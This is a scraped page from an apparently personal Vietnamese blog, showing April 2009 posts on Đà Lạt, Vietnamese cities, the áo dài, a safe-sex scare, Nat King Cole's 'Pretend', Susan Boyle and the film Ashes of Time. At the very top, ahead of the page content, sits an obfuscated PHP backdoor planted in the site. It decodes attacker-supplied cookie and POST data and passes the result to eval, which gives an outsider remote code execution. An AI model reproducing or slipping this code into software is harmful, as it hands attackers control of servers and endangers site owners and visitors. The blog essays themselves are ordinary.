$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> April 2009 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Month: April 2009 (page 1 of 3)

Đà Lạt

Đà Lạt

Người xuống núi mang về đâu có chắc
Những dịp về còn nữa ở mai sau?
Dặm hồng vàng ai đứng lại nhìn nhau?
((Bùi Giáng – Giã Từ Đà Lạt))

Người ta cho rằng, thói quen nhìn lại quãng đời đã qua của mình thường chỉ có ở người già, những người mà thứ dệt nên cuộc sống của họ, không phải là các gam màu tươi sáng, rõ ràng của hiện tại, mà là một màu “xám” đến nhạt nhoà của quá khứ.

Nàng trong anh cũng là một màu xám, chỉ có điều nàng không nhạt nhoà. Thời gian đã và đang dệt một lớp bụi ngày càng dày hơn lên trên khuôn mặt nàng. Nhưng với anh, nàng không bị che khuất, mà vẫn sống động như ngày nào.

Anh đã từng gắng làm tất cả mọi thứ để quên nàng, từ những hành động đơn giản như tắt TV, hay đóng trình duyệt web mỗi khi tình cờ thấy xuất hiện tên nàng, cho đến những thứ phức tạp hơn như mượn câu châm ngôn “Esse est percipi” ((Tồn tại nghĩa là được nhận thức bằng tri giác)) của Berkeyley để tự ép mình quên.
Chỉ bởi vì nàng vẫn còn tồn tại trong anh.

Nàng rất đẹp. Mọi người ở đất nước này đều nói như thế. Nàng có vẻ dữ dội như những dòng thác ngàn năm chảy mãi, lại có vẻ trầm mặc như những rừng thông xanh bát ngát, hay vẻ mộng mơ phiêu ảo tựa mây trời đên đỉnh Lang Biang.
Ở bên nàng, ai cũng có cảm giác bình yên.

Nàng không phải là người anh yêu nhất, nhưng là người anh nhớ nhất.
Nàng mang lại cho anh cái hạnh phúc tột đỉnh, nhưng cũng chính nàng, thực ra là những kí ức về nàng, dìm anh vào nỗi đau mà đã có những lúc anh tưởng chừng không thoát được.

Chỉ bởi vì, nàng là nhân chứng, cho một cuộc tình – đẹp – nhưng – dang – dở, của anh…

Rồi lại sẽ có ngày, anh trở về thăm nàng, nhưng khi đấy, sẽ là một anh – đầy hạnh phúc.

B.l.u.e.

Em còn nhớ hay em đã quên?

Em còn nhớ hay em đã quên?

Ở Việt Nam này, có bốn thành phố để lại trong anh những cung bậc cảm xúc khác nhau.

Đó là Vũng Tàu – nơi anh sinh ra và lớn lên, những kí ức của một thời niên thiếu đầy hiếu động nhưng cũng thật đẹp, thật an bình của anh nằm ở đó. Những gì cốt lõi tạo nên một anh – như – bây – giờ cũng nằm nơi đó…
Đó là Sài Gòn – nơi hiện tại anh đang sống. Nó đi cùng cái tuổi trưởng thành của anh. Anh không diễn tả được cảm xúc của anh với nó, chỉ biết rằng nó thân quen như chính một phần máu thịt của anh…
Đó là Hà Nội – một người tình trong mộng ảo của anh. Hà Nội anh yêu là một Hà Thành với những nét đẹp như trong tranh vẽ, là một Hà Thành với vẻ run rẩy của hàng dương liễu mọc quanh hồ Trúc Bạch, một Hà – Nội – dáng – kiều – thơm ((Tây Tiến – Quang Dũng)), một Hà Nội – hàng phố cũ rêu phong, từng mái ngói xô nghiêng, nao nao kỷ niệm ((Em ơi Hà Nội phố – Phan Vũ)). Và giờ đây, quan trọng hơn hết, một Hà Nội – em…
Đó là Đà Lạt – nơi anh chỉ mới đặt chân đến hai lần. Mỗi lần chỉ ở lại tầm ba ngày. Lần đầu không ấn tượng bao nhiêu thì lần sau lại sâu đậm bấy nhiêu. Nó là chút gì còn ít ỏi mà anh bám víu lại, để nhớ về một thời hạnh phúc, thật sự rất hạnh phúc của anh. Đà Lạt, cùng những kỉ niệm về nó, tựa như một thứ ma tuý đầy quyến rũ, mộng ảo, khiến anh không thể nào dứt ra được. Nó quện cứng vào tâm trí anh, nó làm trí óc anh vui, nhưng lại khiến con tim anh đau…

Anh sẽ viết lần lượt về bốn thành phố này…
.

Em trong mắt anh

vẻ đep thuần khiết

vẻ đep thuần khiết

Em đẹp không cần son phấn

Duyên thầm xinh thật xinh… rất hiền

Không quần jeans, giầy cao gót

Em chọn riêng  mình em áo dài

Anh tự hào sinh ra và lớn lên ở Việt Nam, nơi mà chỉ ở đây, ngay tại Viêt nam này, anh và các bạn mới thấy được những tà áo dài tung bay trong chiều. Điều đó chẳng đẹp thật sao.

Những năm tháng cấ p 3 dù có trôi qua nhanh vì bài vở, những lần chạy xô học thêm mệt nghỉ, và sau này càng bận rộn với việc học đại học và làm việc, trong tâm trí anh vẫn in dấu rất rõ hình ảnh của tà áo dài ấy.

Anh không chỉ yêu tà áo dài duyên dáng của con gái, anh yêu tất cả những gì trong vắt và thuần khiết khi anh nhìn thấy con gái Việt. Họ đẹp trong mắt anh và mãi mãi sẽ đẹp trong mắt anh. Nếu có một chiều tình cờ ngang qua một bóng dáng ai, thì anh sẽ không ngại mà quay lại nhìn. Thời gian trôi nhanh lắm, biết chăng mai này mình còn được nhìn bóng dáng ấy hay không?

Nói như thế không có nghĩa là anh chê những cô gái “quần jeans, giày cao gót” kia là xấu. Không, hoàn toàn không xấu, họ đẹp hẳn ra, nếu không như vậy tại sao người ta lại thích trang điểm.

Nhưng anh yêu cái đẹp thuần khiết các bạn của anh ạ, điều ấy có lạ không cơ chứ. Mỗi người với anh đều như một giọt pha lê  trong suốt và đẹp biết bao. Những áo quần hàng hiệu kia, những giày dép mặc tiền kia có khoác lên cũng chỉ là cái vỏ mà thôi. Mỗi buỗi tối đi về, bóc lớp vỏ ấy ra, các bạn sẽ lại là chính mình mà thôi.

Cho anh nói điều này nhé, các bạn của anh, các bạn đẹp lắm đấy nhất là các bạn nữ. Chỉ mỗi một mình các bạn thôi đã đẹp lắm rồi. Tại sao phải “xi măng đất sét” cho khác đi khi mà mình đã quá đẹp.

Anh tôn sùng vẻ đẹp thuần khiết và anh trân trọng nó.

Anh yêu em cũng vì em thuần khiết, em có biết không? Em là viên ngọc lấp lánh và trong suốt, mình em đã quá đẹp rồi, đừng để ai nói với em khác đi nhé.

Yêu em..

No shirt, no flirt!

Condom

Hì, câu trên là slogan quảng cáo của một nhãn hiệu Bao cao su (từ đây gọi tắt là BCS). Tại sao anh lại viết một entry về BCS? Thật ra câu chuyện dài dòng lắm, anh lại sắp có việc phải đi nên bỏ qua khúc đầu và khúc đuôi, anh mạn phép xin kể khúc giữa thôi.

Có những sai lầm mà chỉ phạm một lần thôi, người ta đã phải trả giá bằng cả đời.

Câu chuyện là vào dịp Tết cách đây 2 năm, Tết năm 2007. Khi đó anh có về Vũng Tàu ăn Tết. Người yêu đầu tiên của anh cũng ra đó chơi. Cô ấy mướn 1 phòng trong khách sạn. Anh ghé vào chơi. Và mọi sự xảy ra quá nhanh. I had sex without using condom.

Thật ra khi anh tới đó, anh không chủ định have sex. Nhưng mọi sự xảy ra, anh không kiềm chế được, ôm hôn nhau, vuốt ve, và nó tới lúc nào chẳng hay. Đó cũng là lần đầu của anh.

Hôm vừa rồi anh đi khám sức khoẻ, mọi sự đều ổn cho tới khi anh phải xét nghiệm máu. Tới lúc đó anh mới nhận ra cái ngu của mình.

Bọn báo chí láo toét vẫn hay đăng những bài kiểu: em lỡ dại một lần, không ngờ lại dính AIDS…. Tộ sư mấy đời nó, thế mới làm anh lo.

2 năm trở lại đây, anh của các tình yêu tuy không mập lên được, nhưng do dáng của anh là dáng lãng tử, dong dỏng cao, chứ nào có bị bệnh tật đâu.

Anh vài ngày qua cứ lấy đó là điều để tự an ủi mình.

Và chiều nay, anh vừa đi lấy kết quả.

CÁM ƠN TRỜI! MỌI SỰ ĐỀU TỐT LÀNH.

Khi vừa về nhà, trước khi lao vào học bù cho những ngày chia trí qua, thiết nghĩ anh cần nên ra tiệm thuốc Tây và mua sẵn vài cái Durex để trong bóp nhằm phòng thân.

Anh cũng khuyến cáo các giai nên làm thế. Kẻo sau này hối hận lại chẳng kịp.

.

Pretend you’re happy when you’re blue

Nat King Cole

Link bài hát: Nat King Cole – Pretend

Lyrics bài hát: Nat King Cole – Pretend

Tin anh đi. Trong quá khứ anh chưa từng thích nghe và hầu như chưa từng nghe một bài nhạc Jazz nào. Và anh cũng quyết định là sẽ chẳng bao giờ anh để ra, dù chỉ là một phần nhỏ nhất, dung lượng ổ cứng để chứa thứ nhạc khó nghe này.

Mọi sự thay đổi cho tới khi cái loa máy tính (đã xài 7 năm) của anh bị hư. Anh chẳng biết lão già nào phát minh ra cái tai nghe nhỏ nhỏ, nhưng mà anh cám ơn, từ tận đáy lòng. Nhờ nó mà anh có thể nghe nhạc. Dĩ nhiên, anh chẳng muốn bị điếc vì nghe Rock bằng tai nghe, phỏng ạ. Tộ sư mười mấy đời nhà nó, Rock trong máy anh đa phần không Heavy, Thrash Metal thì là Death, Black. Thế mới chết.

Vì vậy, anh – với mong muốn bảo quản đến độ kĩ càng nhất sản phẩm ưu việt của Thượng đế (là chính anh), đành phải tìm một loại nhạc nhẹ để nghe. Anh đã vào tuổi tiền-mãn-teen rồi, nên dĩ nhiên không nghe teen-pop.

Thế nên, anh chọn nghe Jazz. Đơn giản thế thôi.

Mới bắt đầu nghe Jazz, lại thiếu một bàn tay mềm mại và một giọng nói dịu êm kề bên tai dẫn dắt, giữa cái mê hồn trận này, con cừu bơ vơ đáng thương như anh chỉ có cách hỏi thằng bạn già Google. Hối lộ nó một hồi, nó chỉ tới chỉ lui một hồi, anh nhắm mắt phó mặc cuộc đời anh cho cái tên Nat King Cole.

Thế là anh có một loạt bài hát của Nat King Cole. Còn gái nào định hỏi làm sao mà có được, thì bỏ thời gian đó về vòi mẹ mua muối Iốt cho mà ăn nhé.

Trong danh sách các bài hát ấy, bài anh để ý nhất là bài Pretend. Chỉ bởi vì nó là điệu nhạc buồn, xuyên suốt qua từng trang, từng chữ trong tác phẩm Phía Nam biên giới, phía Tây mặt trời của Haruki Murakami ((http://vi.wikipedia.org/wiki/Haruki_Murakami)). Mặc dù anh không thích truyện Nhật, nhưng anh vẫn đọc kha khá tác phẩm của ông. Truyện này ngắn hơn, và dễ đọc so với Rừng NaUy hay Biên niên kí chim vặn dây cót nhiều. Nó hiện thực hơn, nhưng không thiếu những phút ngẫu hứng, rất nhỏ, rất nhẹ, tựa như một bản nhạc jazz êm dịu được tấu lên trong lúc con người đang ngà ngà say với một loại cocktail nào đó.

Phía Nam biên giới, phía Tây mặt trời

Bài Pretend này cũng thế.

Anh không uống rượu, chính xác hơn là không thích uống rượu, nhưng không phải là chưa từng uống. Cái cảm giác của anh lúc này giống như cảm giác của anh lúc ấy, khi đầu anh quay cuồng giữa tiếng nhạc chát chúa, tiếng guitar cọc cằn, tiếng trống dồn dập, tiếng gào đầy dữ tợn, thê lương của Death, hay gục xuống cắn răng thật chặt lúc giai điệu của bài The Sound Of Silence ((Phiên bản anh nghe có lẽ là của Atrocity http://www.youtube.com/watch?v=gwNdq4AC6qY)) vang lên.

Hiện giờ cũng thế. Không cần rock, không cần rượu. Chỉ cần những giai điệu đó thôi, là đủ khơi lại tất cả cảm giác ấy.

Cái cảm giác như thoát được ra tất cả. Không còn nỗi đau, không còn thực tại, không còn cả chính mình.
Và sau đó, là cái cảm giác thinh lặng đến nghẹn ngào khi nhận ra thực tại.
Hai cảm giác đó không bao giờ tách biệt nhau, mà song hành cùng nhau, cảm giác trên càng mạnh, thì kéo theo cảm giác dưới càng đau.

Đm, xin lỗi vì anh chửi thề, nhưng nghe bài này cũng thế.

Nhạc và lời càng chậm, từng lời, từng nốt, nó càng ma quái, càng cuốn ta ra khỏi thực tại, thì khi tỉnh, lại càng đau…

Thoáng hiện em về trong đáy cốc
Nói cười như chuyện một đêm mơ…
((Đôi bờ – Quang Dũng))

Một đêm mơ, ha ha…

B.l.u.e.

I Dreamed a Dream

Các bạn đang có những ước mơ, anh biết là thế. Vì ở tuổi này, ai mà chả có vô vàn những ước mơ.

Các bạn hẳn đã từng nói câu: “Chẳng thằng rỗi hơi nào đi đánh thuế giấc mơ, phỏng ạ!” để rồi mặc sức vẽ trong đầu các bạn những bức tranh với màu sắc và hình thù mà ngoài các bạn, chẳng ai biết. Nhưng câu hỏi ở đây là: có ai dám sống mãi với ước mơ của mình, và làm hết sức để biến ước mơ thành hiện thực. Hay là khi gặp khó khăn nào đó, các bạn buông xuôi và lại vẽ ra một bức tranh mang màu ước mơ khác, với câu nói như ở đầu đoạn này anh đã nhắc.

Anh 22 tuổi. Anh đã và đang có vài ước mơ. Trong số đó có một giấc mơ, mà anh biết, chỉ buông tay ra là nó sẽ bay đi mãi mãi, sẽ tan vào hư vô, cuốn đi theo một phần kí ức tươi đẹp của một thời trai trẻ là anh ấy. Hiện anh vẫn giữ chặt nó. Anh chỉ không biết, liệu anh có dám sống mãi với nó không. Bản thân con người rất yếu ớt, anh tuy có nhiều phẩm cách và đức tính vượt trội, nhưng vẫn là con người. Tộ sư nó, thế có chết không chứ?

Hôm nay, anh xem cái clip này:

Susan Boyle – Britains Got Talent 2009 ((Bài này có trong vở nhạc kịch Les Misérables – Những người khốn khổ link wiki: http://en.wikipedia.org/wiki/Songs_from_Les_Mis%C3%A9rables))

anh thật sự khâm phục cô ấy.

Ở đây, anh không nói về tài năng hay giọng hát, không phải vì giọng của cô ấy không hay, mà là thiết tưởng chẳng cần bàn tới ở đây.

Khi bạn 47 tuổi, liệu bạn có dám đăng kí tham gia chương trình tìm kiếm tài năng âm nhạc Britain’s Got Talent, đứng trước đám đông và nói

I want to be like Elaine Page.

Khi đấy cả khán phòng khúc khích cười.

Tuy nhiên, khi người phụ nữ ấy hát xong, Piers Morgan, một người trong ban giám khảo đã nói

When you stood there, with that cheeky grin, and said ‘I want to be like Elaine Page’, everyone was laughing at you. No one is laughing now.

Có lẽ, họ cũng như anh, không khâm phục giấc mơ của cô, nhưng khâm phục cái quyết tâm biến ước mơ thành sự thật của cô ấy

Đời người chẳng được bao lâu, dám mơ ước, thì cũng nên dám sống hết mình vì nó. Bạn nhỉ?

B.l.u.e.

Đông Tà – Tây Độc (Ashes of Time)

Tôi không google về vấn đề đạo diễn Vương Gia Vệ đặt tên Đông Tà – Tây Độc cho phim của mình, rồi sợ khi phát hành ở bên Tây nhợn, người ta không hiểu Đông Tà – Tây Độc là ai, nên mới đổi tên phim thành Ashes of Time, hay là ngược lại. Tuy nhiên, cá nhân tôi thì thấy cái tên Ashes of Time (Cát bụi thời gian) hợp với ý nghĩa bộ phim hơn.

Tôi tìm down phim này chủ yếu là để xem Lâm Thanh Hà hoá thân thành Mộ Dung Yến như thế nào, nguyên nhân là do quá ấn tượng với vai Đông Phương Bất Bại của cô trong Tân Tiếu Ngạo Giang Hồ (Swordman II). Trời ơi, cái ánh mắt đầy ma quái ấy, cái nụ cười nhất tiếu khuynh thành ấy, quả đúng với câu nhận xét của Từ Khắc “mỹ nhân trăm năm mới có một người” và Akiko Tetsuya “minh tinh cuối cùng của phương Đông”.

Lâm Thanh Hà

Tuy nhiên, khi xem phim, tôi lại lặng người với cảnh cuối của bộ phim, cảnh mà Âu Dương Phong ngồi nhớ lại hình ảnh người con gái mà mình yêu nhất đời (Trương Mạn Ngọc thủ vai). Nàng ngồi bên khung cửa, lặng lẽ đếm thời gian và kí ức trôi…

Trương Mạn Ngọc

Người ta không thích bộ phim này vì cho là nó quá lan man, một bộ phim dài 90 phút mà xoay quanh nhiều cuộc đời, xen kẽ là những cuộc tình, day dứt, nghẹn ngào có, hồn nhiên vô tư lự có, hoài niệm có, và tổng hợp tất cả những điều trên cũng có.

Có người lại hì hục đi cắt cho mình một cặp kiếng, nhìn đời qua cặp kiếng đấy, và từ đó áp đặt mọi thứ phải như thế. Tôi nói đó là những người đánh giá bộ phim này qua cặp kiếng truyện Kim Dung: http://vietnamnet.vn/vanhoa/2009/04/841461/ Cần phải biết Vương Gia Vệ chỉ mượn tên để nhào nặn các tuyến nhân vật theo ý mình. Còn việc sau này họ ra sao, có giống như trong truyện Kim Dung không, thì như kiểu đem so sánh tại sao trong Zeus trong thần thoại Hy Lạp và Jupiter trong thần thoại La Mã lại khác nhau vậy.

Dĩ nhiên, nói thế cho vui thôi, mỗi người có một cách nhìn, một quan điểm đánh giá. Và tôi hiện cũng đang viết bài này qua cặp kiếng nhìn của tôi.

Xuân tàm đáo tử ti phương tận
Lạp chúc thành hôi lệ thuỷ can
(Tằm chết mới hết nhả tơ
Nến kia cháy hết mới khô lệ này)

(Vô đề – Lý Thương Ẩn)

Có những điều mà người ta không thể đưa ra làm chuẩn mực để phán xét. Chẳng hạn một điều đơn giản như: bạn có thể mãi mãi yêu và chờ một người không? Không câu trả lời nào là câu trả lời chính xác.

Chí ít là với các nhân vật trong phim.

Họ có thể là những con người khác nhau, nhưng có một điểm chung, là dám yêu và dám sống hết mình vì tình yêu của mình.

Họ sẵn sàng đưa tay đón lấy một khoảnh khắc, và sống hết mình trong cái ánh sáng chói lọi ấy, bất chấp cả đời sau này sẽ phải chờ đợi trong vô vọng và đau khổ.

Tôi cho rằng, chờ đợi và đau khổ không phải là bi kịch. Không dám khẳng định tình yêu mới là bi kịch đích thực của đời người.

Kiếm sĩ mù (Lương Triều Vỹ) bị người vợ sắp cưới của mình bội phản, gã chấp nhận ra đi, để rồi sau đó lại sẵn sàng chấp nhận đánh cuộc với sinh mạng của mình chỉ để ngắm nhìn “hoa anh đào” trong lòng mình một lần cuối…

Người mà Âu Dương Phong yêu thương nhất đời từng nói

Ta đã nghĩ vài điều thật quan trọng, có thể quan trọng trong cả cuộc đời. Nhưng khi nhìn lại, ta tin rằng nó chẳng có gì khác biệt cả.
Mọi thứ đều thay đổi.
Ta luôn nghĩ rằng mình là kẻ chiến thắng cho đến một ngày ta soi gương và thấy khuôn mặt của kẻ chiến bại.
Suốt những năm tháng đẹp nhất của đời ta, người ta yêu thương nhất đã không ở cạnh ta.

nàng có hỏi câu

Nếu thời gian có quay trở lại?

nhưng tôi tin, nếu như thế, thì mọi sự vẫn sẽ tiếp diễn, như bản chất của nó là vậy.

Chai rượu mà nàng đưa cho Hoàng Dược Sư và Âu Dương Phong uống thật ra là gì? Họ Hoàng đấy, liệu có quên được nàng như lời hắn nói không. Hay như Âu Dương Phong

Chai rượu đó chỉ là chuyện tiếu lâm mà nàng đùa giỡn với ta.
Càng cố quên càng nhớ
Thiên hạ thường nói khi ngươi không thể có thứ ngươi muốn, ngươi có thể làm điều tốt nhất là không quên.

Một tác phẩm điện ảnh chỉ trong có 90′ mà đủ vẽ lên một bức tranh tuyệt đẹp về tình yêu, về nỗi cô đơn, về sự chờ đợi, và đặc biệt là thứ tình cảm ngất ngây vô hối, thì nhất định phải gọi là một kiệt tác nghệ thuật.

Cát bụi thời gian – chỉ có khi ngay cả thời gian cũng tan biến, khi bản thân con người đã trở về cát bụi, thì có lẽ, ta sẽ quên được nàng…

B.l.u.e
.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.